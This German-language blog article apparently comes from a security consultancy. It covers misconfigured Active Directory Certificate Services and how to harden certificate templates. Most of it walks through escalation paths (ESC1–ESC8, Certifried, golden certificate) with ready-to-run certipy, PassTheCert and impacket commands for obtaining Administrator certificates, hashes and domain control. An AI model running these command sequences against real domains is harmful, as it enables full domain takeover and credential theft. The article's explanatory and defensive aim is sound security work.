März 14, 2024
Leadership vs. Management, wo genau liegen da die Unterschiede? Und was braucht es in beiden Bereichen, um den aktuellen Herausforderungen
In diesem Artikel befassen wir uns mit den Risiken einer fehlerhaften oder unvollständigen Einrichtung von ADCS (Active Directory Certificate Services). Je nach Ausmaß kann ein Angreifer Zertifikate für jegliche Aktion und Berechtigung erstellen, sodass hier ein sehr großes Risiko besteht. Wir zeigen euch die drei größten Risikofaktoren, schildern mögliche Angriffswege und erklären, wie ihr euch davor schützen könnt.
(Letztes Update: 13.03.2024)
Die Active Directory Zertifikatsdienste gibt es unter diesem Namen seit Windows Server 2008, vorher hieß es nur Stammzertifizierungsstelle (engl. Certificate Authority). Die Active Directory Certificate Services dienen der Erstellung einer eigenen Public Key Infrastructure (kurz PKI). Details zur ADCS findest du im entsprechenden Artikel: Public Key Infrastructure mit Active Directory Certificate Services
Eine umfängliche und strukturierte Einrichtung und Umsetzung der AD Zertifikatsdienste ist enorm wichtig für den Schutz vor möglichen Hacking Angriffen.
Eine Fehlkonfiguration bei den Active Directory Certificate Services kann zu weitreichenden Konsequenzen führen. Daher beschreiben wir im Folgenden einige der wichtigsten Konfigurationsschritte bei der Erstellung bzw. Anpassung der Zertifikatsvorlagen und stellen die Konsequenzen mancher Optionen vor. Da diese einzeln betrachtet durchaus sinnvoll und notwendig sein können, ist insbesondere die Kombination der Einstellungen dabei relevant.
Im Reiter Antragstellername stehen zwei Optionen zur Verfügung:
Informationen werden in der Anforderung angegeben: Diese Option ist z. B. beim Template „Webserver“ im Standard aktiv. Hier ist es sinnvoll, dass ein berechtigter Administrator die entsprechenden alternativen Namen eines Servers im Zertifikat angibt.
Achtung: Wird diese Option bei Benutzerzertifikaten ausgewählt, kann der Antragsteller ein Zertifikat für jeden beliebigen Benutzer ausstellen. Falls die Berechtigungen zur Erstellung nun noch für alle Benutzer (s. u.) gesetzt werden, kann ein „normaler“ Nutzer Zertifikate für den Administrator beantragen.
Aus diesen Informationen im Active Directory erstellen: Bei Auswahl dieser Option werden die verwendeten Informationen aus den AD Einträgen des Benutzers bzw. des Computers generiert. Dies ist insbesondere bei Benutzern sinnvoll: So wird verhindert, dass Werte anderer Benutzer verwendet werden können.
Der Reiter Berechtigungen entspricht dem bekannten Layout der Berechtigungsvergabe. Letztlich unterscheidet sich dies nicht von sonstigen Berechtigungen und der Empfehlung zur Nutzung der üblichen Vorgaben: „So wenige Berechtigungen wie möglich“.
Die Anwendungsrichtlinien legen den Verwendungszweck des Zertifikates fest. Wichtig ist hier die genaue Festlegung, angepasst auf die Zielsetzung des Zertifikates. Beispielsweise benötigt ein Zertifikat zur Nutzung im Webserver oder zur Codesignierung keine Clientauthentifizierung.
Besonders kritisch ist die Ausstellung von Zertifikaten mit der Anwendungsrichtlinie „Beliebiger Zweck“ bzw. „Any Purpose“. Die Erfahrung zeigt, dass es immer wieder zu Konfigurationen kommt, in denen teils Benutzer oder auch Administratoren diese Zertifikate erstellen können. Die Beantragung sollte hier auf ein absolutes Minimum beschränkt sein und der berechtigte Account bestmöglich geschützt sein.
Der Subject Alternative Name oder auch der Haken bei „Informationen werden in der Anforderung angegeben“. Mit dem Alternativnamen kannst du sein, wer du möchtest: Wenn der Zweitname Administrator ist, geht das auch.
Zuerst musst du die notwendigen Informationen beschaffen, also ein klassischer Fall für Bloodhound. Dafür werden valide Benutzerdaten aus der Domäne benötigt, hier unser dcUser.
Zuerst der Bloodhound Dump für Benutzer und Computer Informationen:
bloodhound-python -u USER -p PASSWORD -d DOMAIN [-c all] -dc FQDN_DC [-ns ] --zip
Danach mit certipy (hier 4.0) die Zertifikatsinformationen holen:
certipy find -u USER -p PASSWORD -target IP/FQDN_DC -old-bloodhound
Die .zip‘s dann in die BloodhoundGUI ziehen für weitere Analysen.
Für die Analyse eignen sich die Customqueries von @Ly4k dem Autor von certipy:
Hier haben wir einen ‚Generic All‘, weil sich der Administrator „verklickt“ hat und allen Nutzern den Vollzugriff gestattet hat. So etwas passiert gerne mal im Rahmen der Implementierung oder des Troubleshooting und der „Rückbau“ wird nicht gemacht, wenn es funktioniert. Uns reicht in diesem Fall der Subject Alternativ Name/Enrollee Supplies Subject = true.
Weiter geht es auf der Shell mit certypy:
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -template ESC1 -upn ADMINISTRATOR
Danach das Zertifikat zur Anmeldung benutzen:
certipy auth -pfx administrator.pfx
Damit erhältst du ein TGT und den PasswortHash. Mit dem Zertifikat kannst du dir immer ein TGT und den Hash holen, solange es gültig ist. Auch ein Passwortwechsel des Nutzers und vom KRBTGT helfen hier nicht.
Die Domäne ist dein, solange das Zertifikat nicht gesperrt wird.
Das „Any purpose“ Zertifikat. Es ist in der Regel eine CA oder SubCA Zertifikat und hat damit auch genau die Rechte, die Standardgültigkeit sind 5 Jahre. Da es nur von administrativen Nutzern angefordert werden kann, ist dies eher eine Maßnahme zur Persistenz.
Das Anfordern von privilegierten Zertifikaten mithilfe eines „Enrollment Agent“. Mit dem Enrollment Agent Zertifikat dürfen wir als anderer Nutzer ein Zertifikat anfordern, mit dem wir unsere Rechte ausweiten können.
Fordere hierzu mit certipy zunächst regulär das Enrollment Agent Zertifikat an und im zweiten Schritt z. B. ein Benutzerzertifikat eines Administrators. Anschließend forderst du mit certipy auth ein Kerberosticket an und liest den NTHash aus.
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -template ESC3.1 -on-behalf-of DOMAIN/ADMIN -pfx ESC3.pfx
Dieser Angriff basiert auf einer Zertifikatsvorlage, welche durch Nicht-Administratoren bearbeitet und dementsprechend verändert werden darf. Dies können Angreifer man mit certipy und Bloodhound herausfinden oder durch das manuelle Prüfen von Berechtigungen auf die einzelnen Vorlagen in den Active Directory Certificate Services. Im Detail funktioniert dieser Angriff so:
Als erstes prüft man mit Certipy auf Fehlkonfigurationen der CA und der vorhandenen TemplatesAls erstes prüft man mit Certipy auf Fehlkonfigurationen der CA und der vorhandenen Templates:
certipy find -u <USER@DOMAIN> -p <PASSWORD> --vulnerable --stdout -dc-ip <IP-DOMAINCONTROLLER>
certipy template -u <USER@DOMAIN> -p <PASSWORD> -target <CA-FQDN> -template <ESC4-TEMPLATE>
Wichtig zu erwähnen: MAN EDITIERT BEI DER ZIELDOMÄNE LIVE DAS TEMPLATE!!!
Deshalb gibt es auch eine Option die man zwingend nutzen sollte, welche “-save-old” heißt. Mit dieser Option speichert man das ursprüngliche Template einmal lokal als eine .json-Datei und kann somit die alte Konfiguration wieder hochladen. Der vollständige Command sieht so aus:
certipy template -u <USER@DOMAIN> -p <PASSWORD> -target <CA-FQDN> -template <ESC4-TEMPLATE> -save-old
certipy req -u <USER@DOMAIN> -p <PASSWORD> -ca <CA_DISPLAY_NAME> -target <FQDN_CA> -template <ESC4-TEMPLATE-EDITED> -upn <ADMIN_ACCOUNT>
Dieses Problem hängt nur indirekt mit der CA zusammen, ist aber ein Problem, wenn man administrative Berechtigungen auf dem ADCS Server hat. Darüber lässt sich ein „Golden Certificate“ erstellen, ähnlich dem Kerberos Golden Ticket, nur als Zertifikat. Dadurch, dass das CA Root Zertifikat „geklaut“ wurde, können damit weiter gültige Zertifikate erstellt werden. Mit certipy auth anschließend ein Kerberosticket anfordern und den NTHash auslesen.
certipy ca -backup -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA
certipy forge -ca-pfx ROOT_CA.pfx -upn ADMINISTRATOR -subject CN=ADMINISTRATOR,CN=USERS,DC=DOMAIN,DC=LOCAL
Dieser Parameter ist CA weit gesetzt und ermöglicht für alle Zertifikatsvorlagen die ESC1, also das Anfordern mit alternativem Namen. Dies lässt sich mit certipy oder mit certutil auf Windows herausfinden.
certutil -config "FQDN_DC\CA_NAME" -getreg policy\EditFlags
Diesmal nicht die administrativen Rechte auf den Server, sondern auf die CA selbst. Die Berechtigung „Manage CA“ oder „Manage Certificates“. Die Berechtigung wird ausgenutzt, um den Benutzer Schreibrechte auf eine Zertifikatsvorlage zu gewähren und dies dann zu einem ESC1 umzubauen.
certipy ca -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -add-officer USER
Damit bekommen wir die „Issue and Manage Certificates“ Berechtigung.
Dadurch dürfen wir selbst fehlgeschlagene Anfragen genehmigen und die entsprechenden Zertifikate ausrollen. Zum Beispiel das „SubCA“ Zertifikat, welches per default nur Administratoren anfordern dürfen.
Nach einer fehlgeschlagenen Anforderung unbedingt den „private key“ speichern, dieser wird später benötigt.
certipy ca -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -issue-request REQ_ID
Nach der Freigabe der Anforderung, womit man auch ein „Manager approval“ bypassen kann, das freigegebene Zertifikat abholen.
certipy req -u USER -p PASSWORD -ca CA_NAME -target IP/FQDN_CA -retrieve REQ_ID
Der angreifbare Webserver. Vollumfänglich in unserem PetitPotam Artikel behandelt.
Mein Computer heißt jetzt wie der Domänencontroller. Hierfür muss der Wert für das Erstellen weiterer Computer in der Domäne so gesetzt sein, dass weitere hinzugefügt werden können. Im Standard beträgt dieser 10 (ms-DS-MachineAccountQuota), wenn man noch keinen privilegierteren Account hat.
Diese Lücke wurde von Microsoft im Mai 2022 gepatched. Eine Ausnutzung via Kerberos oder Schannel ist somit nicht möglich, wenn CA und DC gepatched sind.
Durch den Patch wird ein weiterer Parameter in das Zertifikat geschrieben, der szOID_NTDS_CA_SECURITY_EXT die SID des Benutzers.
Falls es doch nicht gepatched wurde oder der CT_FLAG_NO_SECURITY_EXTENSION (0x80000) im msPKI-Enrollment-Flag gesetzt ist, geht es trotzdem. Mit certipy einen neuen Computer erstellen, aber einen alternativen dNSHostName eintragen lassen.
certipy account create -user NEW_COMPUTER -u USER -p PASSWORD -target IP/FQDN_DC -dns DC_NAME
Danach forderst du ein Zertifikat an. Da für Computer Zertifikate der dNSHostName genutzt wird, muss hier nichts „manipuliert“ werden. Die Machine Zertifikatsvorlage wird dafür benutzt.
Wenn die Anmeldung mit dem Zertifikat nicht klappt, weil es nicht unterstütz ist, erhältst du folgende Fehlermeldung:
Fehler:
eRR-PDATA-Type-NOSUPP
oder
Error Code: 16 Reason: KDC has no support for PADATA.
type (pre-authentication data)
Hier hilft ein Tool von AlmonOffSec, PassTheCert in C# und Python. LDAPS und LDAP sind ausnutzbar durch StartTLS. Auch LDAP ChannelBinding hat durch Schannel keinen negativen Effekt auf den Angriff.
Aber zuerst muss das .pfx in ein .crt und in ein .key gewandelt werden, also den privaten Schlüssel und das Zertifikat selbst als eigenständige Daten haben.
certipy cert -pfx ADMIN.pfx -nokey -out ADMIN.crt
certipy cert -pfx ADMIN.pfx -nocert -out ADMIN.key
Danach erstellen wir einen neuen Computer, wenn wir noch keine Kontrolle über einen haben. Anmeldung als das System sollte mit einem Passwort möglich sein.
python3 PassTheCert/Python/passthecert.py -dc-ip IP_DC -crt ADMIN.crt -key ADMIN.key -domain DOMAIN -action add_computer -computer-name NEW_COMPUTER
Danach erstellen wir eine Delegation von unserem „neuen Computer“ zu dem Domänencontroller. msDS-AllowedToActOnBehalfOfOtherIdentity, eine ResourceBasedConstrainedDelegation. Zur Hilfestellung das -delegate-from und -delegate-to: das from ist der Computer, den ich kontrolliere, und die Daten schreibe ich in den to, also mein Ziel.
python3 PassTheCert/Python/passthecert.py -dc-ip IP_DC -crt ADMIN.crt -key ADMIN.key -domain DOMAIN -action write_rbcd -delegate-from NEW_COMPUTER -delegate-to FQDN_DC
Mit den delegierten Berechtigungen Kerberos anfragen, takeover.
impacket-getST -spn 'cifs/FQDN_DC' -impersonate Administrator 'DOMAIN/NEW_COMPUTER:PASSWORD' -dc-ip IP_DC
Certipy hat auch eine LDAP Shell mit einfachen Befehlen implementiert, worüber dieses Szenario auch ausgenutzt werden kann.
Wer die Gefahr von fehlerhaft konfigurierten Zertifikatstemplates in einer reinen Windowsumgebung ohne die Nutzung von Kali-Linux nachstellen möchte, kann dies mittels normalen Windows-Boardmitteln und dem Smartcard-Emulator PIVert umsetzen.
In unserem Anwendungsfall nutzen wir einen Windows 10 Client. In der MMC Console fügen wir den entsprechenden Snap-In der Zertifikate hinzu, um anschließend aus den vorhandenen Templates ein Zertifikat zu erstellen.
„Glücklicherweise“ befindet sich in unseren Templates eine Vorlage zur Erstellung eines SmartCard-Zertifikates, in der wir den Antragstellernamen selbst eingeben können. Wir können also als angemeldeter Standarduser ein Zertifikat für den Administrator erstellen!
Wichtig ist es, bei der Erstellung den privaten Schlüssel als exportierbar einzustellen und zur Nutzung in PIVert den Antragstellernamen leer zu lassen, da es hier sonst zu Problemen kommen kann.
Nach der erfolgreichen Erstellung des Zertifikates musst du dieses als *.pfx exportieren. Dabei muss der private Schlüssel exportiert und ein Kennwort angegeben werden.
Anschließend kannst du dieses Zertifikat in PIVert einbinden und eine entsprechende SmartCard emulieren. Damit erfolgt ein RDP-Verbindungsaufbau, im Beispielfall als Administrator auf den Active Directory Certificate Services.
Den besten Schutz vor Angriffen bietet eine bewusste und angemessene Konfiguration der Templates und der Berechtigungen. Dabei sind insbesondere die oben genannten Risiken zu betrachten und bei der Konfiguration zu minimieren.
Der Antragstellername sollte, wann immer möglich, direkt aus den Benutzerdaten des AD gezogen werden und nicht selbst zu editieren sein, mittels Auswahl „Aus diesen Informationen im Active Directory erstellen“ aus oben zu sehendem Screenshot.
Vergib die Berechtigungen so restriktiv wie möglich, insbesondere wenn der Antragstellername nicht festgelegt ist oder die Möglichkeiten des Zertifikates sehr weitreichend sind.
Weiterhin gilt bei der Festlegung der Anwendungsrichtlinien zur Definition des Verwendungszwecks: Wähle nur diejenigen in einem Zertifikat aus, die zum Nutzungszweck notwendig sind. Für verschiedene Anwendungsfelder sind verschiedene Templates zu erstellen.
Die korrekte und bewusste Konfiguration der Zertifikatstemplates stellt den wichtigsten Schritt zum Schutz gegen Missbrauch und Angriffe dar.
Eine weitere Möglichkeit, das Risiko eines Missbrauchs zu minimieren, ist die Aktivierung der Genehmigung der Zertifikatsverwaltung (manager approval). Wenn du das in der entsprechenden Zertifikatsvorlage aktivierst, kann ein Zertifikat zwar beantragt werden, die Freigabe muss jedoch durch einen Administrator auf dem ADCS erfolgen. Somit ist eine Erstellung von Zertifikaten erschwert – dies ist entsprechend mit Mehraufwand im Erstellungsprozess verbunden.
Eine weitere Herausforderung dieser Methode ist das „Rückspielen“ der freigegebenen Zertifikate an den Antragsteller. Hier bestehen verschiedene Möglichkeiten, welche wir an dieser Stelle nicht im Detail vorstellen:
Leadership vs. Management, wo genau liegen da die Unterschiede? Und was braucht es in beiden Bereichen, um den aktuellen Herausforderungen
Sollten Standard-Nutzer in deinem Tenant eine Azure App Registration durchführen dürfen? Die Antwort ist ganz klar “Nein” und dieser Artikel
Die schlechte Nachricht vorweg: In Deutschland gibt es keine zentrale landesweite Notrufnummer für gehackte Unternehmen oder Behörden. Darum ist es
